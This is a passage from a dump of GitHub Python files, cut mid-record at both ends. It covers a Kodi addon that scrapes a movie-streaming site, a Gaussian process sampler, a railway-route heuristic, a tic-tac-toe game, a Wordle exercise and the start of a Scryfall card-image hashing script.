'showMovies')\nFUNCTION_SEARCH = 'showMovies'\n\n\ndef load():\n oGui = cGui()\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', 'http://venom/')\n oGui.addDir(SITE_IDENTIFIER, 'showSearch', 'Recherche', 'search.png', oOutputParameterHandler)\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_MOVIE[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_MOVIE[1], 'Films', 'films.png', oOutputParameterHandler)\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_HD[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_HD[1], 'Films (HD)', 'hd.png', oOutputParameterHandler)\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_GENRES[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_GENRES[1], 'Films (Genres)', 'genres.png', oOutputParameterHandler)\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_ANNEES[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_ANNEES[1], 'Films (Par années)', 'annees.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showSearch():\n oGui = cGui()\n\n sSearchText = oGui.showKeyBoard()\n if (sSearchText):\n sUrl = URL_SEARCH[0] + sSearchText\n showMovies(sUrl)\n oGui.setEndOfDirectory()\n return\n\n\ndef showGenres():\n oGui = cGui()\n\n liste = []\n liste.append(['Ultra-HD', URL_MAIN + 'ultra-hd/'])\n liste.append(['720p/1080p', URL_MAIN + 'films/streaming-720p-streaming-1080p/'])\n liste.append(['Action/Aventure', URL_MAIN + 'films/action-aventure/'])\n liste.append(['Animation', URL_MAIN + 'films/animation/'])\n liste.append(['Arts Martiaux', URL_MAIN + 'films/arts-martiaux/'])\n liste.append(['Biographie', URL_MAIN + 'films/biographique/'])\n liste.append(['Comédie', URL_MAIN + 'films/comedie/'])\n liste.append(['Crime/Gangster', URL_MAIN + 'films/crimegangster/'])\n liste.append(['Documentaire', URL_MAIN + 'films/documentaire/'])\n liste.append(['Drame', URL_MAIN + 'films/drame/'])\n liste.append(['Epouvante Horreur', URL_MAIN + 'films/epouvante-horreur/'])\n liste.append(['Etranger', URL_MAIN + 'films/etranger/'])\n liste.append(['Famille', URL_MAIN + 'films/famille/'])\n liste.append(['Fantastique', URL_MAIN + 'films/fantastique/'])\n liste.append(['Guerre', URL_MAIN + 'films/guerre/'])\n liste.append(['Histoire', URL_MAIN + 'films/histoire/'])\n liste.append(['Musique/Danse', URL_MAIN + 'films/musiquedanse/'])\n liste.append(['Mystère', URL_MAIN + 'films/mystere/'])\n liste.append(['Policier', URL_MAIN + 'films/policier/'])\n liste.append(['Romance', URL_MAIN + 'films/romance/'])\n liste.append(['Science-fiction', URL_MAIN + 'films/science-fiction/'])\n liste.append(['Spectacle (FR)', URL_MAIN + 'spectacle/francais-spectacle/'])\n liste.append(['Spectacle (VOSTFR)', URL_MAIN + 'spectacle/vostfr-spectacle/'])\n liste.append(['Sport', URL_MAIN + 'films/sport/'])\n liste.append(['Suspense/Thriller', URL_MAIN + 'films/thrillersuspense/'])\n liste.append(['Téléfilm', URL_MAIN + 'films/telefilm/'])\n liste.append(['VOSTFR', URL_MAIN + 'films/vostfr/'])\n liste.append(['Western', URL_MAIN + 'films/western/'])\n\n for sTitle, sUrl in liste:\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', sUrl)\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', sTitle, 'genres.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showYears():\n oGui = cGui()\n oParser = cParser()\n oRequestHandler = cRequestHandler(URL_MAIN)\n sHtmlContent = oRequestHandler.request()\n\n sStart = '<div class=\"filter-content-slider\">'\n sEnd = '<div class=\"filter-slide filter-slide-down\">'\n sHtmlContent = oParser.abParse(sHtmlContent, sStart, sEnd)\n\n sPattern = '<a href=\"([^\"]+)\">([^<]+)</a>'\n aResult = oParser.parse(sHtmlContent, sPattern)\n if aResult[0]:\n for aEntry in aResult[1]:\n sUrl = URL_MAIN[:-1] + aEntry[0]\n sTitle = aEntry[1]\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', sUrl)\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', sTitle, 'annees.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showMovies(sSearch=''):\n oGui = cGui()\n if sSearch:\n sUrl = sSearch.replace(' ', '+')\n else:\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n\n sHtmlContent = sHtmlContent.replace('en illimité', 'en illimite')\n\n oParser = cParser()\n sPattern = 'class=\"item\">.+?href=\"([^\"]+).+?src=\"([^\"]+)\" alt=\"([^\"]+).+?ttx\">([^<]+).+?(?:|class=\"year\">([^<]+).+?)class=\"calidad2'\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if not aResult[0]:\n oGui.addText(SITE_IDENTIFIER)\n\n if aResult[0]:\n total = len(aResult[1])\n progress_ = progress().VScreate(SITE_NAME)\n\n for aEntry in aResult[1]:\n progress_.VSupdate(progress_, total)\n if progress_.iscanceled():\n break\n\n sTitle = aEntry[2].replace(' Streaming Ultra-HD', '').replace(' Streaming Full-HD', '')\\\n .replace(' en Streaming HD', '').replace(' Streaming HD', '')\\\n .replace(' streaming', '').replace('HD', '')\n\n sUrl2 = aEntry[0]\n sThumb = re.sub('/w\\d+', '/w342', aEntry[1])\n if sThumb.startswith('//'):\n sThumb = 'http:' + sThumb\n sDesc = aEntry[3].split('en illimite')[1].replace(' ', '')\n sYear = aEntry[4]\n\n # Si recherche et trop de resultat, on filtre\n if sSearch and total > 2:\n if cUtil().CheckOccurence(sSearch.replace(URL_SEARCH[0], ''), sTitle) == 0:\n continue\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', sUrl2)\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\n oOutputParameterHandler.addParameter('sThumb', sThumb)\n oOutputParameterHandler.addParameter('sDesc', sDesc)\n oOutputParameterHandler.addParameter('sYear', sYear)\n\n sPattern1 = '.+?saison [0-9]+'\n aResult1 = oParser.parse(sTitle, sPattern1)\n\n if aResult1[0]:\n oGui.addTV(SITE_IDENTIFIER, 'showSaisons', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\n else:\n oGui.addMovie(SITE_IDENTIFIER, 'showHosters', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\n\n progress_.VSclose(progress_)\n\n if not sSearch:\n sNextPage = __checkForNextPage(sHtmlContent)\n if (sNextPage):\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', sNextPage)\n number = re.search('page/([0-9]+)', sNextPage).group(1)\n oGui.addNext(SITE_IDENTIFIER, 'showMovies', '[COLOR teal]Page ' + str(number) + ' >>>[/COLOR]', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef __checkForNextPage(sHtmlContent):\n sPattern = \"<a class=\\'current.+?href=\\'([^']+)\\'\"\n oParser = cParser()\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if aResult[0]:\n return aResult[1][0]\n\n return False\n\n\ndef showHosters():\n oGui = cGui()\n oParser = cParser()\n\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\n sThumb = oInputParameterHandler.getValue('sThumb')\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n\n # Vire les bandes annonces\n sHtmlContent = sHtmlContent.replace('src=\"//www.youtube.com/', '')\n\n sPattern = '<iframe.+?src=\"([^\"]+)\"'\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if not aResult[0]:\n oGui.addText(SITE_IDENTIFIER)\n\n if aResult[0]:\n for aEntry in aResult[1]:\n\n sHosterUrl = str(aEntry)\n if '//goo.gl' in sHosterUrl:\n try:\n url8 = sHosterUrl.replace('https', 'http')\n\n opener = Noredirection()\n opener.addheaders.append(('User-Agent', UA))\n opener.addheaders.append(('Connection', 'keep-alive'))\n\n HttpReponse = opener.open(url8)\n sHosterUrl = HttpReponse.headers['Location']\n sHosterUrl = sHosterUrl.replace('https', 'http')\n except:\n pass\n\n oHoster = cHosterGui().checkHoster(sHosterUrl)\n if (oHoster):\n oHoster.setDisplayName(sMovieTitle)\n oHoster.setFileName(sMovieTitle)\n cHosterGui().showHoster(oGui, oHoster, sHosterUrl, sThumb)\n\n oGui.setEndOfDirectory()\n\n\ndef showSaisons():\n oGui = cGui()\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\n sThumb = oInputParameterHandler.getValue('sThumb')\n sDesc = oInputParameterHandler.getValue('sDesc')\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n\n sHtmlContent = sHtmlContent.replace('<iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/', '')\n sPattern = '<iframe.+?src=\"(http.+?)\".+?>'\n\n oParser = cParser()\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if not aResult[0]:\n oGui.addText(SITE_IDENTIFIER)\n\n if aResult[0]:\n i = 1\n for aEntry in aResult[1]:\n\n sUrl = aEntry\n sTitle = '%s episode %s' % (sMovieTitle.replace(' - Saison', ' Saison'), i)\n\n i = i + 1\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', sUrl)\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\n oOutputParameterHandler.addParameter('sThumb', sThumb)\n oGui.addEpisode(SITE_IDENTIFIER, 'ShowSpecialHosters', sTitle, '', sThumb, sDesc, oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef ShowSpecialHosters():\n oGui = cGui()\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n sMovieTitle = oInputParameterHandler.getValue('sMovieTitle')\n sThumb = oInputParameterHandler.getValue('sThumb')\n\n data = re.sub('(.+?f=)', '', sUrl)\n data = data.replace('&c=', '')\n pdata = 'data=' + QuotePlus(data)\n\n if 'fr-land.me' in sUrl:\n oRequest = cRequestHandler('http://fr-land.me/Htplugins/Loader.php')\n oRequest.setRequestType(1)\n oRequest.addHeaderEntry('User-Agent', UA)\n # oRequest.addHeaderEntry('Host', 'official-film-illimite.to')\n oRequest.addHeaderEntry('Referer', sUrl)\n oRequest.addHeaderEntry('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')\n oRequest.addHeaderEntry('Accept-Language', 'fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3')\n oRequest.addHeaderEntry('Content-Type', 'application/x-www-form-urlencoded')\n oRequest.addParametersLine(pdata)\n\n sHtmlContent = oRequest.request()\n sHtmlContent = sHtmlContent.replace('\\\\', '')\n\n # fh = open('c:\\\\test.txt', \"w\")\n # fh.write(sHtmlContent)\n # fh.close()\n\n sPattern = '\\[(.+?)\\]'\n\n oParser = cParser()\n aResult = oParser.parse(sHtmlContent, sPattern)\n if aResult[0]:\n listurl = aResult[1][0].replace('\"', '').split(',http')\n listqual = aResult[1][1].replace('\"', '').split(',')\n\n tab = zip(listurl, listqual)\n\n for url, qual in tab:\n sHosterUrl = url\n if not sHosterUrl.startswith('http'):\n sHosterUrl = 'http' + sHosterUrl\n\n oHoster = cHosterGui().checkHoster(sHosterUrl)\n if (oHoster):\n sDisplayTitle = '[' + qual + '] ' + sMovieTitle\n oHoster.setDisplayName(sDisplayTitle)\n oHoster.setFileName(sMovieTitle)\n cHosterGui().showHoster(oGui, oHoster, sHosterUrl, sThumb)\n\n else:\n\n oHoster = cHosterGui().checkHoster(sUrl)\n if (oHoster):\n oHoster.setDisplayName(sMovieTitle)\n oHoster.setFileName(sMovieTitle)\n cHosterGui().showHoster(oGui, oHoster, sUrl, sThumb)\n\n oGui.setEndOfDirectory()\n","repo_name":"Kodi-vStream/venom-xbmc-addons","sub_path":"plugin.video.vstream/resources/sites/trash/film_illimit_fr.py","file_name":"film_illimit_fr.py","file_ext":"py","file_size_in_byte":14036,"program_lang":"python","lang":"en","doc_type":"code","stars":456,"dataset":"github-code","pt":"37"} +{"seq_id":"31397376844","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy\nimport itertools\nnp.set_printoptions(suppress=True)\n\ndef Squared_Exponential(X1, X2, multiple_stability, l=0.8, sigma_f=1.0):\n \"\"\"\n Isotropic squared exponential kernel.\n Args:\n X1: Array of m points (m x d).\n X2: Array of n points (n x d).\n multiple_stability : factor to multiple with the identity matrix to have a numerical stability.\n Returns:\n (m x n) matrix.\n ||x - x'||^2 = x^2 + x'^2 - 2 X @ X.T\n \"\"\"\n sqdist = np.sum(X1**2, 1).reshape(-1, 1) + np.sum(X2**2, 1) - 2 * X1 @ X2.T\n K = sigma_f * np.exp(-sqdist / (2* l**2))\n # add a bit of noise for numerical stability \n Noise_K = K + multiple_stability*np.eye(X1.shape[0])\n return Noise_K\n\ndef Polynomial_kernel(X1, X2, multiple_stability, degree, alpha = 1):\n \"\"\" \n X1: Array of m points (m x d).\n X2: Array of n points (n x d).\n multiple_stability : factor to multiple with the identity matrix to have a numerical stability.\n\n Returns the covariance matrix using the polynomial kernel.\n \"\"\"\n K = alpha * (1 + X1 @ X2.T) ** degree\n Noise_K = K + multiple_stability*np.eye(X1.shape[0])\n return Noise_K\n\ndef a(X1, X2, sigma):\n return 2 * X2.T * sigma @ X1\n\ndef Neuronal(X1,X2, sigma):\n numerator =a(X1, X2, sigma)\n denominator = np.sqrt((1+a(X1, X1, sigma))*(1+a(X2, X2, sigma)))\n return (2/np.pi) * np.arcsin(numerator / denominator)\n\ndef draw_Samples(samples, mu, cov):\n samples = 5\n realizations = np.random.multivariate_normal(mu.ravel(), cov, samples)\n # Plot GP mean, confidence interval and samples \n for i in range(samples):\n plt.plot(X, realizations[i])\n plt.xlabel('$x$')\n plt.ylabel('$y$')\n\nif __name__ == \"__main__\":\n\n # Finite number of points, n x 1 atrix\n # Define constants such as mu matrix, X data and stability term.\n X = np.linspace(-5, 5, 1001).reshape(-1, 1)\n # Mean and covariance of the prior\n mu = np.zeros(X.shape)\n\n stability_term = 0.0015\n\n # using squared exponential kernel.\n\n cov = Squared_Exponential(X, X, stability_term)\n # Draw five samples from the prior.\n plt.style.use('seaborn-bright')\n draw_Samples(5, mu, cov)\n plt.title('Realisations drawn using Squared Exponential kernel.')\n # plt.savefig(\"example.png\")\n # Using polynomial kernel.\n\n cov = Polynomial_kernel(X, X, stability_term, 2)\n print(cov.shape)\n # Draw five samples from the prior.\n plt.style.use('_classic_test_patch')\n draw_Samples(5, mu, cov)\n plt.title('Realisations drawn using Polynomial kernel with degree level 2.')\n # plt.savefig(\"example.png\")\n sigma = 1.5\n\n cov = [Neuronal(i, j, sigma) for (i, j) in itertools.product(X, X)]\n\n cov = np.array(cov).reshape(X.shape[0], X.shape[0])\n # Draw five samples from the prior.\n plt.style.use('_classic_test_patch')\n \n # plt.savefig(\"example.png\")\n draw_Samples(5, mu, cov)\n plt.title('Realisations drawn using Neuronal kernel with $\\Sigma$ = 1.5')\n plt.savefig('Neuronal_kernel.png')\n","repo_name":"MariosMarinos/MutlivariateDataAnalysis","sub_path":"2nd_part/Assign_3/Assign_3/GaussianProcessSampler.py","file_name":"GaussianProcessSampler.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35836783448","text":"import copy, csv, random, time\nimport matplotlib.pyplot as plt\n\nfrom datetime import datetime\nfrom time import strftime\n\nfrom Code.Classes import quality\n\n\nclass Depth_first:\n \"\"\"\n When creating a traject, a station from the list of startstation is chosen randomly. From this station,\n a randon station of the connections is chosen to make a connection with. A connection can appear once or twice\n in the created train lining system. For a connection that occurs twice, it is checked whether there is a \n possibility of removing one of the two connections. \n \"\"\"\n\n def __init__(self, stationconnections, stations, timeframe, maxtrajects):\n self.connections = stationconnections[0]\n self.connection = stationconnections[1]\n self.startstation = stationconnections[2]\n\n self.stations = stations\n self.timeframe = timeframe\n self.maxtrajects = maxtrajects\n\n self.traject = self.randomsolution()\n\n def randomsolution(self):\n \"\"\" \n Create a lining system and check if a new solution is better than te previous solution.\n A traject starts at a station from the list with startstations. When all startstation are used, \n a startstation is chosen randomly of the other stations.\n \"\"\"\n\n bestquality = 0\n besttraject = None\n\n # Set the runetime, 60 * 0.1 = runtime of 6 seconds.\n t_end = time.time() + 60 * 0.1\n\n while time.time() < t_end:\n maxtime = self.timeframe - 20\n while maxtime <= self.timeframe:\n count = 1\n self.trajects = {}\n\n # Deepcopy some variables to delete a value of the variable while creating a lining system.\n # Because of deepcopy, all values can be used again when a new lining system is made.\n # Allconnections has been deepcopied twice because a connection can be used twice in the lining system.\n self.start = copy.deepcopy(self.startstation)\n self.allconnections = copy.deepcopy(self.connections)\n self.allconnections2 = copy.deepcopy(self.connections)\n self.connectioncopy = copy.deepcopy(self.connection)\n\n # Make a maximum of maxtraject or when all connections are used.\n while len(self.allconnections2.keys()) != 0 and count <= self.maxtrajects:\n if self.start: \n city = random.choice(self.start)\n self.maketraject(city, count, maxtime)\n self.start.remove(city)\n else:\n city = random.choice(list(self.allconnections.keys()))\n self.maketraject(city, count, maxtime)\n count += 1\n\n # Check if the new quality is higher than the previous quality.\n new_quality = quality.calculate_quality(self.connectioncopy, self.connection, self.trajects)\n new_quality = self.improve(new_quality)\n\n if new_quality > bestquality:\n bestquality = new_quality\n besttraject = self.trajects\n\n maxtime += 1\n\n return besttraject, bestquality\n\n def maketraject(self, city, count, maxtime):\n \"\"\"\n Making a traject starts with the chosen station in 'randomsolution'. The next station of the traject is\n chosen by taking a random station of all connections. This heuristic uses every connection once or twice. \n \"\"\"\n\n endtime = 0\n time = 0\n traject = []\n traject.append(city)\n\n # Check if a new city can be added to the traject.\n while time < maxtime and city in self.allconnections:\n best_stop_time = 100\n best_stop_city = \"\"\n\n # Search for a new station in the cityconnections.\n for i in range(len(self.allconnections[city])):\n if city in self.allconnections2:\n connection = random.choice(list(self.allconnections2[city]))\n time_traject = int(self.allconnections2[city][connection])\n else:\n connection = random.choice(list(self.allconnections[city]))\n time_traject = int(self.allconnections[city][connection])\n\n # Add new station to the traject if the new time is less or equal to the maxtime.\n if time + time_traject <= maxtime:\n best_stop_time = time_traject\n best_stop_city = connection\n break\n\n # If new city is found set time to new time and delete connection of allconnections.\n if best_stop_city != '':\n time += best_stop_time\n endtime = time\n\n # Delete city and connection of the rigth dictionary.\n if city in self.allconnections2 and connection in self.allconnections2[city]:\n del self.allconnections2[city][connection]\n del self.allconnections2[connection][city]\n self.connectioncopy = self.connectioncopy - 1\n else:\n del self.allconnections[city][connection]\n del self.allconnections[connection][city]\n\n if city in self.allconnections2 and len(self.allconnections2[city]) == 0:\n del self.allconnections2[city]\n\n if connection in self.allconnections2 and len(self.allconnections2[connection]) == 0:\n del self.allconnections2[connection]\n\n if len(self.allconnections[city]) == 0:\n del self.allconnections[city]\n\n if len(self.allconnections[connection]) == 0:\n del self.allconnections[connection]\n\n city = best_stop_city\n traject.append(city)\n else:\n endtime = time\n time = maxtime\n\n # Make traject with a length of at least two stations.\n if len(traject) == 1:\n connections = self.connections[traject[0]]\n endcity = min(connections, key=lambda k: connections[k])\n endtime = int(connections[endcity])\n traject.append(endcity)\n\n self.trajects[count] = (traject, endtime)\n\n def improve(self, best):\n \"\"\" Delete double connections at the end or beginning of a traject. \"\"\"\n\n run = True\n while run:\n for key1, value1 in self.trajects.items():\n\n # Check if connection at beginning of traject exists in other traject.\n if len(value1[0]) >= 2:\n beginbegin = value1[0][0]\n beginend = value1[0][1]\n\n for key2, value2 in self.trajects.items():\n for i in range(1, len(value2[0]) - 1):\n add = False\n if value2[0][i] == beginbegin and value2[0][i + 1] == beginend:\n time = self.trajects[key1][1]\n newtime = time - int(self.connections[beginbegin][beginend])\n add = True\n\n elif value2[0][i] == beginend and value2[0][i + 1] == beginbegin:\n time = self.trajects[key1][1]\n newtime = time - int(self.connections[beginend][beginbegin])\n add = True\n\n # Delete startstation and change trajecttime.\n if add:\n del self.trajects[key1][0][0]\n listtraject = list(self.trajects[key1])\n listtraject[len(listtraject) - 1] = newtime\n self.trajects[key1] = tuple(listtraject)\n break\n\n # Check if a connection at the end of a traject exists in another traject.\n if len(value1[0]) >= 2:\n endbegin = value1[0][-2]\n endend = value1[0][-1]\n\n for key2, value2 in self.trajects.items():\n for i in range(len(value2[0]) - 2):\n add = False\n if value2[0][i] == endbegin and value2[0][i + 1] == endend:\n time = self.trajects[key1][1]\n newtime = time - int(self.connections[endbegin][endend])\n add = True\n\n elif value2[0][i] == endend and value2[0][i + 1] == endbegin:\n time = self.trajects[key1][1]\n newtime = time - int(self.connections[endend][endbegin])\n add = True\n\n # Delete endstation and change trajecttime.\n if add:\n del self.trajects[key1][0][-1]\n listtraject = list(self.trajects[key1])\n listtraject[len(listtraject) - 1] = newtime\n self.trajects[key1] = tuple(listtraject)\n break\n\n new = quality.calculate_quality(self.connectioncopy, self.connection, self.trajects)\n if new == best:\n run = False\n else:\n best = new\n\n return best","repo_name":"PerryPlooij/RailNL","sub_path":"Code/Heuristics/depth_first.py","file_name":"depth_first.py","file_ext":"py","file_size_in_byte":9654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1637422713","text":"from colorama import Fore\n\n\ndef present_game():\n for index, row in enumerate(matrix):\n print(index, *row)\n print(\" 0 1 2\")\n\n\ndef check_for_valid_position(i, j):\n if i in range(3) and j in range(3) and matrix[i][j] == \"-\":\n return True\n return False\n\n\ndef check_for_identity(lst):\n if lst[0] != \"-\" and lst[1] != \"-\" and lst[2] != \"-\" and lst[0] == lst[1] == lst[2]:\n return True\n return False\n\n\ndef check_for_draw(lst):\n draw = True\n for i in range(3):\n flag = False\n for j in range(3):\n if matrix[i][j] == \"-\":\n draw = False\n flag = True\n break\n if flag:\n break\n if draw:\n return True\n return False\n\n\ndef check_for_a_winner():\n # Check diagonals\n primary_diagonal = []\n for i in range(len(matrix)):\n sy = matrix[i][i]\n primary_diagonal.append(sy)\n if check_for_identity(primary_diagonal):\n winner = True\n else:\n winner = False\n if winner:\n return True\n\n second_diagonal = []\n for k in range(len(matrix)):\n sy = matrix[k][-(k + 1)]\n second_diagonal.append(sy)\n if check_for_identity(second_diagonal):\n winner = True\n else:\n winner = False\n\n if winner:\n return True\n\n # Check horizontals\n for i in range(len(matrix)):\n current_row = []\n for j in range(len(matrix[i])):\n sy = matrix[i][j]\n current_row.append(sy)\n if check_for_identity(current_row):\n winner = True\n break\n else:\n winner = False\n\n if winner:\n return True\n\n # Check verticals\n for col in range(3):\n current_column = []\n # c represents the rows because the loop is between every row with the current column\n for c in range(3):\n current_column.append(matrix[c][col])\n if check_for_identity(current_column):\n winner = True\n break\n else:\n winner = False\n\n if winner:\n return True\n return False\n\n\nmatrix = [[\"-\" for _ in range(3)] for i in range(3)]\nprint(Fore.GREEN + \"The positions have to be 2 numbers separated by space \" + Fore.RESET)\npresent_game()\nprint(\n f\"Player {Fore.BLUE}1{Fore.RESET} uses {Fore.BLUE}X{Fore.RESET} and player {Fore.RED}2{Fore.RESET} uses {Fore.RED}O{Fore.RESET}\")\nfinished = False\ncurrent_player = 1\ncurrent_symbol = \"X\"\nwhile not finished:\n print(f\"Now is player {current_player}'s turn\")\n while True:\n row, column = [int(x) for x in input(\"Enter the position \").split()]\n if check_for_valid_position(row, column):\n matrix[row][column] = current_symbol\n present_game()\n break\n else:\n print(\"The position you entered is either already occupied or invalid. Try again!\")\n continue\n if check_for_a_winner():\n print(f\"Game Over\\nPlayer {current_player} won\")\n quit()\n else:\n if check_for_draw(matrix):\n print(\"Draw\\nGame Over\")\n quit()\n\n if current_player == 1:\n current_player = 2\n current_symbol = \"O\"\n else:\n current_player = 1\n current_symbol = \"X\"\n","repo_name":"DanieII/tic-tac-toe","sub_path":"tic_tac_toe/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34486747860","text":"\"\"\"An expansion of our previous exercise, Chardle!\"\"\"\n\n__author__ = \"730575415\"\n\nsecret_word: str = \"python\"\nword_length: int = len(secret_word)\n\n# Set up the secret word and the secret word's length.\n\nguess: str = str(input(f\"What is your {word_length}-letter guess? \"))\nwhile len(guess) != word_length:\n guess = input(f\"That was not {word_length} letters! Try again: \")\n\n# Set up the prompt for user to enter a guess that must be the same length as the secret word.\n\nWHITE_BOX: str = \"\\U00002B1C\"\nGREEN_BOX: str = \"\\U0001F7E9\"\nYELLOW_BOX: str = \"\\U0001F7E8\"\n\n# Initialized the variables for the emojis that will appear in the output.\n\nindex_checking: int = 0\nemoji_result: str = \"\"\n\n# Set up the variable to count what index the program is checking and the variable that will print as our emoji result once the while loop completes.\n\nwhile index_checking < len(secret_word):\n # Set up a while loop so that each index of the user's guess is checked for both matching its corresponding index in the secret word and for possible matches with characters in other indices of the secret word.\n if guess[index_checking] == secret_word[index_checking]:\n emoji_result = emoji_result + GREEN_BOX\n # If the character in the index being checked in the guess matches the corresponding index in the secret word, a green box is added to the emoji output.\n else: \n char_exists: bool = False\n alt_indices: int = 0 \n while char_exists is False and index_checking < len(secret_word) and alt_indices < len(secret_word):\n if secret_word[alt_indices] == guess[index_checking]:\n char_exists = True\n emoji_result = emoji_result + YELLOW_BOX\n # If the character in the guess index being checked doesn't match its secret word counterpart but does appear in the secret word in a different index, a yellow box is added.\n else:\n alt_indices = alt_indices + 1 \n if char_exists is False:\n emoji_result = emoji_result + WHITE_BOX\n # And finally, if the character in the index being checked doesn't appear in the secret word at all, a white box is added to the emoji output.\n\n index_checking = index_checking + 1\n\n# The emoji output will be one string that is a series of emoji boxes concatenated based on the conditions above.\n\nprint(emoji_result)\n\n# The emoji output is printed for the user to see.\n\nif guess == secret_word:\n print(\"Woo! You got it!\")\nelse: \n print(\"Not quite! Play again soon! \")\n\n# And finally, the user gets either a celebration message if they guessed correctly, or encouragement to try again if they didn't.","repo_name":"sylviapr/comp110-22f-workspace","sub_path":"exercises/ex02_one_shot_wordle.py","file_name":"ex02_one_shot_wordle.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"16540552646","text":"import imagehash\nimport requests\nimport psycopg2\nfrom PIL import Image\nimport os\nfrom dotenv import find_dotenv, load_dotenv\n\ndotenv_path = find_dotenv()\nload_dotenv(dotenv_path)\n\nDB_NAME = os.getenv(\"DATABASE\")\nDB_USER = os.getenv(\"USER\")\nDB_PASSWORD = os.getenv(\"PASSWORD\")\nDB_HOST = os.getenv(\"HOST\")\nDB_PORT = os.getenv(\"PORT\")\n\ndef get_bulk_data():\n # bulk types: [default_cards, oracle_cards, unique_artwork, all_cards, rulings]\n\n BULK_METADATA_URI = 'https://api.scryfall.com/bulk-data'\n BULK_METADATA_TYPE = 'default_cards'\n BULK_DEFAULT_METADATA_URI = BULK_METADATA_URI + '/' + BULK_METADATA_TYPE\n\n bulk_metadata = requests.get(BULK_DEFAULT_METADATA_URI).json()\n bulk_download_uri = bulk_metadata['download_uri']\n\n bulk_data = requests.get(bulk_download_uri).json()\n return bulk_data\n\n\ndef get_image_uri(card):\n image_uri = card['image_uris']['large']\n\n if image_uri == '':\n image_uri = card['image_uris']['normal']\n\n if image_uri == '':\n image_uri = card['image_uris']['small']\n\n return image_uri\n\n\ndef image_from_uri(uri):\n try:\n image = Image.open(requests.get(uri, stream=True).raw)\n return image\n except:\n return None\n\n\ndef validate_card(card):\n digital_only = card['digital']\n image_status = card['image_status'] != 'highres_scan'\n image_uri_status = 'image_uris' not in card.keys()\n\n if digital_only or image_status or image_uri_status:\n return False\n\n return True\n\n\ndef main():\n db_connection = psycopg2.connect(database=DB_NAME, user=DB_USER, password=DB_PASSWORD, host=DB_HOST, port=DB_PORT)\n db_cursor = db_connection.cursor()\n\n bulk_data = get_bulk_data()\n print('\\n\\n')\n\n for i, card in enumerate(bulk_data):\n try:\n if i % 50 == 0:\n print('Card ' + str(i) + ' of ' + str(len(bulk_data)))\n\n if not validate_card(card):\n continue\n\n image_uri = get_image_uri(card)\n if image_uri is None:\n continue\n\n # can be null\n tcgplayer_id = card['tcgplayer_id'] if 'tcgplayer_id' in card.keys(\n ) else -1\n tcgplayer_etched_id = card['tcgplayer_etched_id'] if 'tcgplayer_etched_id' in card.keys(\n ) else -1\n cardmarket_id = card['cardmarket_id'] if 'cardmarket_id' in card.keys(\n ) else -1\n mana_cost = card['mana_cost'] if 'mana_cost' in card.keys() else ''\n oracle_text = card['oracle_text'] if 'oracle_text' in card.keys(\n ) else 'N/A'\n power = card['power'] if 'power' in card.keys() else 'N/A'\n toughness = card['toughness'] if 'toughness' in card.keys(\n ) else 'N/A'\n artist = card['artist'] if 'artist' in card.keys() else 'N/A'\n flavor_name = card['flavor_name'] if 'flavor_name' in card.keys(\n ) else 'N/A'\n flavor_text = 